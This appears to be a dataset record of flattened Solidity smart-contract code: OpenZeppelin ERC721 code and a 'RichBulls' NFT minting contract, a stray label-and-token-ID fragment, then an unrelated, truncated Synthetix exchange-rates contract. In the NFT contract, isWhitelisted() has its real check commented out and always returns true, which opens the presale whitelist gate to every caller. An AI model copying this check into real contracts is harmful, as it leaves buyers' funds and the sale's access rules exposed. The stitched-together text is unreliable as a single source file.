* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/RichBullsClub.sol
pragma solidity >=0.7.0 <0.9.0;
contract RichBulls is ERC721Enumerable, Ownable {
using Strings for uint256;
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri =
"https://ipfs.io/ipfs/QmNVj7oV51v3EG8YEWVPy7mcUd1TtUSh7xLJxJfvjVgCj2/classic.json";
string public whitelistNotRevealedUri =
"https://ipfs.io/ipfs/QmNVj7oV51v3EG8YEWVPy7mcUd1TtUSh7xLJxJfvjVgCj2/preorder.json";
// Supply
uint256 public maxSupply = 9999;
uint256 public mintedSupply = 0;
uint256 public mintedPresaleSupply = 0;
uint256 public maxPresaleSupply = 1000;
uint256 public maxWhitelistNfts = 2;
uint256 public maxVipNfts = 2;
// Settings
bool public paused = true;
bool public revealed = false;
uint256 public presaleCost = 0.1 ether;
uint256 public publicCost = 0.3 ether;
// Whitelist
bool public whitelistMint = false;
bool public vipMint = false;
mapping(address => bool) whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
address whitelistWallet;
bool public airdropped = false;
mapping(uint256 => address) public whitelistTokensOwners;
uint256[] public whitelistTokens;
mapping(address => bool) vipAddresses;
constructor(
string memory _name,
string memory _symbol,
string memory _initBaseURI,
string memory _initNotRevealedUri,
string memory _initWhitelistNotRevealedUri,
address _whitelistWallet
) ERC721(_name, _symbol) {
setBaseURI(_initBaseURI);
whitelistWallet = _whitelistWallet;
setNotRevealedURI(_initNotRevealedUri);
setWhitelistNotRevealedURI(_initWhitelistNotRevealedUri);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function presaleMint(uint256 _mintAmount) public payable {
require(!paused, "The contract is paused");
require(_mintAmount > 0, "Need to mint at least 1 NFT");
require(whitelistMint == true || vipMint == true, "Presale is closed.");
require(
mintedSupply + _mintAmount <= maxSupply,
"Max NFT limit exceeded"
);
require(
mintedPresaleSupply + _mintAmount <= maxPresaleSupply,
"Max Presale NFT limit exceeded"
);
bool isUserVip = isVip(msg.sender);
bool isUserWhitelisted = isWhitelisted(msg.sender);
require(
(whitelistMint && isUserWhitelisted) || (vipMint && isUserVip),
"User is not eligible to the Presale"
);
require(msg.value >= presaleCost * _mintAmount, "Insufficient funds");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
require(
(!isUserVip || (ownerMintedCount + _mintAmount <= maxVipNfts)),
"Max NFT per address exceeded"
);
require(
(!isUserWhitelisted ||
(ownerMintedCount + _mintAmount <= maxWhitelistNfts)),
"Max NFT per address exceeded"
);
mintedPresaleSupply += _mintAmount;
for (uint256 i = 1; i <= _mintAmount; i++) {
uint256 tokenId = mintedSupply + i;
if (isUserWhitelisted) {
_safeMint(whitelistWallet, tokenId);
whitelistTokensOwners[tokenId] = msg.sender;
whitelistTokens.push(tokenId);
} else {
_safeMint(msg.sender, tokenId);
}
}
addressMintedBalance[msg.sender] += _mintAmount;
mintedSupply += _mintAmount;
}
function mint(uint256 _mintAmount) public payable {
require(!paused, "The contract is paused");
require(
whitelistMint == false && vipMint == false,
"Public sale is not open yet."
);
uint256 supply = totalSupply();
require(_mintAmount > 0, "Need to mint at least 1 NFT");
require(supply + _mintAmount <= maxSupply, "Max NFT limit exceeded");
require(msg.value >= publicCost * _mintAmount, "Insufficient funds");
for (uint256 i = 1; i <= _mintAmount; i++) {
uint256 tokenId = supply + i;
_safeMint(msg.sender, tokenId);
}
addressMintedBalance[msg.sender] += _mintAmount;
mintedSupply += _mintAmount;
}
function totalSupply() public view override returns (uint256) {
return mintedSupply;
}
function isWhitelisted(address _user) public view returns (bool) {
// return whitelistedAddresses[_user];
return true;
}
function isVip(address _user) public view returns (bool) {
return vipAddresses[_user];
}
function isWhitelistToken(uint256 tokenId) public view returns (bool) {
for (uint256 i = 0; i < whitelistTokens.length; i++) {
if (whitelistTokens[i] == tokenId) {
return true;
}
}
return false;
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
if (isWhitelistToken(tokenId)) {
return whitelistNotRevealedUri;
}
return notRevealedUri;
}
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(
abi.encodePacked(
currentBaseURI,
tokenId.toString(),
baseExtension
)
)
: "";
}
function airdropWhitelistTokens() public onlyOwner {
require(!airdropped, "Whitelist Tokens have already been airdroped.");
require(!paused, "The contract is paused");
require(!whitelistMint, "Whitelist sale is still running");
require(!vipMint, "VIP sale is still running");
airdropped = true;
for (uint256 i; i < whitelistTokens.length; i++) {
transferFrom(
whitelistWallet,
whitelistTokensOwners[whitelistTokens[i]],
whitelistTokens[i]
);
}
}
/*
Reveal NFTs (careful!)
*/
function reveal() public onlyOwner {
revealed = true;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
baseExtension = _newBaseExtension;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setWhitelistNotRevealedURI(string memory _whitelistNotRevealedURI)
public
onlyOwner
{
whitelistNotRevealedUri = _whitelistNotRevealedURI;
}
function setPaused(bool _state) public onlyOwner {
paused = _state;
}
function toggleWhitelistMint(bool _state) public onlyOwner {
whitelistMint = _state;
}
function toggleVipMint(bool _state) public onlyOwner {
vipMint = _state;
}
function whitelistUsers(address[] memory addresses) public onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
whitelistedAddresses[addresses[i]] = true;
}
}
function vipUsers(address[] memory addresses) public onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
vipAddresses[addresses[i]] = true;
}
}
function withdraw() public onlyOwner {
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
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/**
*Submitted for verification at Etherscan.io on 2019-07-10
*/
/* ===============================================
* Flattened with Solidifier by Coinage
*
* https://solidifier.coina.ge
* ===============================================
*/
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: SafeDecimalMath.sol
version: 2.0
author: Kevin Brown
Gavin Conway
date: 2018-10-18
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A library providing safe mathematical operations for division and
multiplication with the capability to round or truncate the results
to the nearest increment. Operations can return a standard precision
or high precision decimal. High precision decimals are useful for
example when attempting to calculate percentages or fractions
accurately.
-----------------------------------------------------------------
*/
/**
* @title Safely manipulate unsigned fixed-point decimals at a given precision level.
* @dev Functions accepting uints in this contract and derived contracts
* are taken to be such fixed point decimals of a specified precision (either standard
* or high).
*/
library SafeDecimalMath {
using SafeMath for uint;
/* Number of decimal places in the representations. */
uint8 public constant decimals = 18;
uint8 public constant highPrecisionDecimals = 27;
/* The number representing 1.0. */
uint public constant UNIT = 10 ** uint(decimals);
/* The number representing 1.0 for higher fidelity numbers. */
uint public constant PRECISE_UNIT = 10 ** uint(highPrecisionDecimals);
uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10 ** uint(highPrecisionDecimals - decimals);
/**
* @return Provides an interface to UNIT.
*/
function unit()
external
pure
returns (uint)
{
return UNIT;
}
/**
* @return Provides an interface to PRECISE_UNIT.
*/
function preciseUnit()
external
pure
returns (uint)
{
return PRECISE_UNIT;
}
/**
* @return The result of multiplying x and y, interpreting the operands as fixed-point
* decimals.
*
* @dev A unit factor is divided out after the product of x and y is evaluated,
* so that product must be less than 2**256. As this is an integer division,
* the internal division always rounds down. This helps save on gas. Rounding
* is more expensive on gas.
*/
function multiplyDecimal(uint x, uint y)
internal
pure
returns (uint)
{
/* Divide by UNIT to remove the extra factor introduced by the product. */
return x.mul(y) / UNIT;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of the specified precision unit.
*
* @dev The operands should be in the form of a the specified unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function _multiplyDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
/* Divide by UNIT to remove the extra factor introduced by the product. */
uint quotientTimesTen = x.mul(y) / (precisionUnit / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a precise unit.
*
* @dev The operands should be in the precise unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @return The result of safely multiplying x and y, interpreting the operands
* as fixed-point decimals of a standard unit.
*
* @dev The operands should be in the standard unit factor which will be
* divided out after the product of x and y is evaluated, so that product must be
* less than 2**256.
*
* Unlike multiplyDecimal, this function rounds the result to the nearest increment.
* Rounding is useful when you need to retain fidelity for small decimal numbers
* (eg. small fractions or percentages).
*/
function multiplyDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _multiplyDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is a high
* precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and UNIT must be less than 2**256. As
* this is an integer division, the result is always rounded down.
* This helps save on gas. Rounding is more expensive on gas.
*/
function divideDecimal(uint x, uint y)
internal
pure
returns (uint)
{
/* Reintroduce the UNIT factor that will be divided out by y. */
return x.mul(UNIT).div(y);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* decimal in the precision unit specified in the parameter.
*
* @dev y is divided after the product of x and the specified precision unit
* is evaluated, so the product of x and the specified precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function _divideDecimalRound(uint x, uint y, uint precisionUnit)
private
pure
returns (uint)
{
uint resultTimesTen = x.mul(precisionUnit * 10).div(y);
if (resultTimesTen % 10 >= 5) {
resultTimesTen += 10;
}
return resultTimesTen / 10;
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* standard precision decimal.
*
* @dev y is divided after the product of x and the standard precision unit
* is evaluated, so the product of x and the standard precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRound(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, UNIT);
}
/**
* @return The result of safely dividing x and y. The return value is as a rounded
* high precision decimal.
*
* @dev y is divided after the product of x and the high precision unit
* is evaluated, so the product of x and the high precision unit must
* be less than 2**256. The result is rounded to the nearest increment.
*/
function divideDecimalRoundPrecise(uint x, uint y)
internal
pure
returns (uint)
{
return _divideDecimalRound(x, y, PRECISE_UNIT);
}
/**
* @dev Convert a standard decimal representation to a high precision one.
*/
function decimalToPreciseDecimal(uint i)
internal
pure
returns (uint)
{
return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR);
}
/**
* @dev Convert a high precision decimal to a standard decimal representation.
*/
function preciseDecimalToDecimal(uint i)
internal
pure
returns (uint)
{
uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10);
if (quotientTimesTen % 10 >= 5) {
quotientTimesTen += 10;
}
return quotientTimesTen / 10;
}
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: Owned.sol
version: 1.1
author: Anton Jurisevic
Dominic Romanowski
date: 2018-2-26
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
An Owned contract, to be inherited by other contracts.
Requires its owner to be explicitly set in the constructor.
Provides an onlyOwner access modifier.
To change owner, the current owner must nominate the next owner,
who then has to accept the nomination. The nomination can be
cancelled before it is accepted by the new owner by having the
previous owner change the nomination (setting it to 0).
-----------------------------------------------------------------
*/
/**
* @title A contract with an owner.
* @notice Contract ownership can be transferred by first nominating the new owner,
* who must then accept the ownership, which prevents accidental incorrect ownership transfers.
*/
contract Owned {
address public owner;
address public nominatedOwner;
/**
* @dev Owned Constructor
*/
constructor(address _owner)
public
{
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
/**
* @notice Nominate a new owner of this contract.
* @dev Only the current owner may nominate a new owner.
*/
function nominateNewOwner(address _owner)
external
onlyOwner
{
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
/**
* @notice Accept the nomination to be owner.
*/
function acceptOwnership()
external
{
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner
{
require(msg.sender == owner, "Only the contract owner may perform this action");
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: SelfDestructible.sol
version: 1.2
author: Anton Jurisevic
date: 2018-05-29
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
This contract allows an inheriting contract to be destroyed after
its owner indicates an intention and then waits for a period
without changing their mind. All ether contained in the contract
is forwarded to a nominated beneficiary upon destruction.
-----------------------------------------------------------------
*/
/**
* @title A contract that can be destroyed by its owner after a delay elapses.
*/
contract SelfDestructible is Owned {
uint public initiationTime;
bool public selfDestructInitiated;
address public selfDestructBeneficiary;
uint public constant SELFDESTRUCT_DELAY = 4 weeks;
/**
* @dev Constructor
* @param _owner The account which controls this contract.
*/
constructor(address _owner)
Owned(_owner)
public
{
require(_owner != address(0), "Owner must not be the zero address");
selfDestructBeneficiary = _owner;
emit SelfDestructBeneficiaryUpdated(_owner);
}
/**
* @notice Set the beneficiary address of this contract.
* @dev Only the contract owner may call this. The provided beneficiary must be non-null.
* @param _beneficiary The address to pay any eth contained in this contract to upon self-destruction.
*/
function setSelfDestructBeneficiary(address _beneficiary)
external
onlyOwner
{
require(_beneficiary != address(0), "Beneficiary must not be the zero address");
selfDestructBeneficiary = _beneficiary;
emit SelfDestructBeneficiaryUpdated(_beneficiary);
}
/**
* @notice Begin the self-destruction counter of this contract.
* Once the delay has elapsed, the contract may be self-destructed.
* @dev Only the contract owner may call this.
*/
function initiateSelfDestruct()
external
onlyOwner
{
initiationTime = now;
selfDestructInitiated = true;
emit SelfDestructInitiated(SELFDESTRUCT_DELAY);
}
/**
* @notice Terminate and reset the self-destruction timer.
* @dev Only the contract owner may call this.
*/
function terminateSelfDestruct()
external
onlyOwner
{
initiationTime = 0;
selfDestructInitiated = false;
emit SelfDestructTerminated();
}
/**
* @notice If the self-destruction delay has elapsed, destroy this contract and
* remit any ether it owns to the beneficiary address.
* @dev Only the contract owner may call this.
*/
function selfDestruct()
external
onlyOwner
{
require(selfDestructInitiated, "Self destruct has not yet been initiated");
require(initiationTime + SELFDESTRUCT_DELAY < now, "Self destruct delay has not yet elapsed");
address beneficiary = selfDestructBeneficiary;
emit SelfDestructed(beneficiary);
selfdestruct(beneficiary);
}
event SelfDestructTerminated();
event SelfDestructed(address beneficiary);
event SelfDestructInitiated(uint selfDestructDelay);
event SelfDestructBeneficiaryUpdated(address newBeneficiary);
}
/*
-----------------------------------------------------------------
FILE INFORMATION
-----------------------------------------------------------------
file: ExchangeRates.sol
version: 1.0
author: Kevin Brown
date: 2018-09-12
-----------------------------------------------------------------
MODULE DESCRIPTION
-----------------------------------------------------------------
A contract that any other contract in the Synthetix system can query
for the current market value of various assets, including
crypto assets as well as various fiat assets.
This contract assumes that rate updates will completely update
all rates to their current values. If a rate shock happens
on a single asset, the oracle will still push updated rates
for all other assets.
-----------------------------------------------------------------
*/
/**
* @title The repository for exchange rates
*/
contract ExchangeRates is SelfDestructible {
using SafeMath for uint;
using SafeDecimalMath for uint;
// Exchange rates stored by currency code, e.g. 'SNX', or 'sUSD'
mapping(bytes4 => uint) public rates;
// Update times stored by currency code, e.g. 'SNX', or 'sUSD'
mapping(bytes4 => uint) public lastRateUpdateTimes;
// The address of the oracle which pushes rate updates to this contract
address public oracle;
// Do not allow the oracle to submit times any further forward into the future than this constant.
uint constant ORACLE_FUTURE_LIMIT = 10 minutes;
// How long will the contract assume the rate of any asset is correct
uint public rateStalePeriod = 3 hours;
// Lock exchanges until price update complete
bool public priceUpdateLock = false;
// Each participating currency in the XDR basket is represented as a currency key with
// equal weighting.
// There are 5 participating currencies, so we'll declare that clearly.
bytes4[5] public xdrParticipants;
// For inverted prices, keep a mapping of their entry, limits and frozen status
struct InversePricing {
uint entryPoint;
uint upperLimit;
uint lowerLimit;
bool frozen;
}
mapping(bytes4 => InversePricing) public inversePricing;
bytes4[] public invertedKeys;
//
// ========== CONSTRUCTOR ==========
/**
* @dev Constructor
* @param _owner The owner of this contract.
* @param _oracle The address which is able to update rate information.
* @param _currencyKeys The initial currency keys to store (in order).
* @param _newRates The initial currency amounts for each currency (in order).
*/
constructor(
// SelfDestructible (Ownable)
address _owner,
// Oracle values - Allows for rate updates
address _oracle,
bytes4[] _currencyKeys,
uint[] _newRates
)
/* Owned is initialised in SelfDestructible */
SelfDestructible(_owner)
public
{
require(_currencyKeys.length == _newRates.length, "Currency key length and rate length must match.");
oracle = _oracle;
// The sUSD rate is always 1 and is never stale.
rates["sUSD"] = SafeDecimalMath.unit();
lastRateUpdateTimes["sUSD"] = now;
// These are the currencies that make up the XDR basket.
// These are hard coded because:
// - This way users can depend on the calculation and know it won't change for this deployment of the contract.
// - Adding new currencies would likely introduce some kind of weighting factor, which
// isn't worth preemptively adding when all of the currencies in the current basket are weighted at 1.
// - The expectation is if this logic needs to be updated, we'll simply deploy a new version of this contract
// then point the system at the new version.
xdrParticipants = [
bytes4("sUSD"),
bytes4("sAUD"),
bytes4("sCHF"),
bytes4("sEUR"),
bytes4("sGBP")
];
internalUpdateRates(_currencyKeys, _newRates, now);
}
/* ========== SETTERS ========== */
/**
* @notice Set the rates stored in this contract
* @param currencyKeys The currency keys you wish to update the rates for (in order)
* @param newRates The rates for each currency (in order)
* @param timeSent The timestamp of when the update was sent, specified in seconds since epoch (e.g. the same as the now keyword in solidity).contract
* This is useful because transactions can take a while to confirm, so this way we know how old the oracle's datapoint was exactly even
* if it takes a long time for the transaction to confirm.
*/
function updateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
external
onlyOracle
returns(bool)
{
return internalUpdateRates(currencyKeys, newRates, timeSent);
}
/**
* @notice Internal function which sets the rates stored in this contract
* @param currencyKeys The currency keys you wish to update the rates for (in order)
* @param newRates The rates for each currency (in order)
* @param timeSent The timestamp of when the update was sent, specified in seconds since epoch (e.g. the same as the now keyword in solidity).contract
* This is useful because transactions can take a while to confirm, so this way we know how old the oracle's datapoint was exactly even
* if it takes a long time for the transaction to confirm.
*/
function internalUpdateRates(bytes4[] currencyKeys, uint[] newRates, uint timeSent)
internal
returns(bool)
{
require(currencyKeys.length == newRates.length, "Currency key array length must match rates array length.");
require(timeSent < (now + ORACLE_FUTURE_LIMIT), "Time is too far into the future");
// Loop through each key and perform update.
for (uint i = 0; i < currencyKeys.length; i++) {
// Should not set any rate to zero ever, as no asset will ever be
// truely worthless and still valid. In this scenario, we should
// delete the rate and remove it from the system.
require(newRates[i] != 0, "Zero is not a valid rate, please call deleteRate instead.");
require(currencyKeys[i] != "sUSD", "Rate of sUSD cannot be updated, it's always UNIT.");
// We should only update the rate if it's at least the same age as the last rate we've got.
if (timeSent < lastRateUpdateTimes[currencyKeys[i]]) {
continue;
}
newRates[i] = rateOrInverted(currencyKeys[i], newRates[i]);
// Ok, go ahead with the update.
rates[currencyKeys[i]] = newRates[i];
lastRateUpdateTimes[currencyKeys[i]] = timeSent;
}
emit RatesUpdated(currencyKeys, newRates);
// Now update our XDR rate.
updateXDRRate(timeSent);
// If locked during a priceupdate then reset it
if (priceUpdateLock) {
priceUpdateLock = false;
}
return true;
}
/**
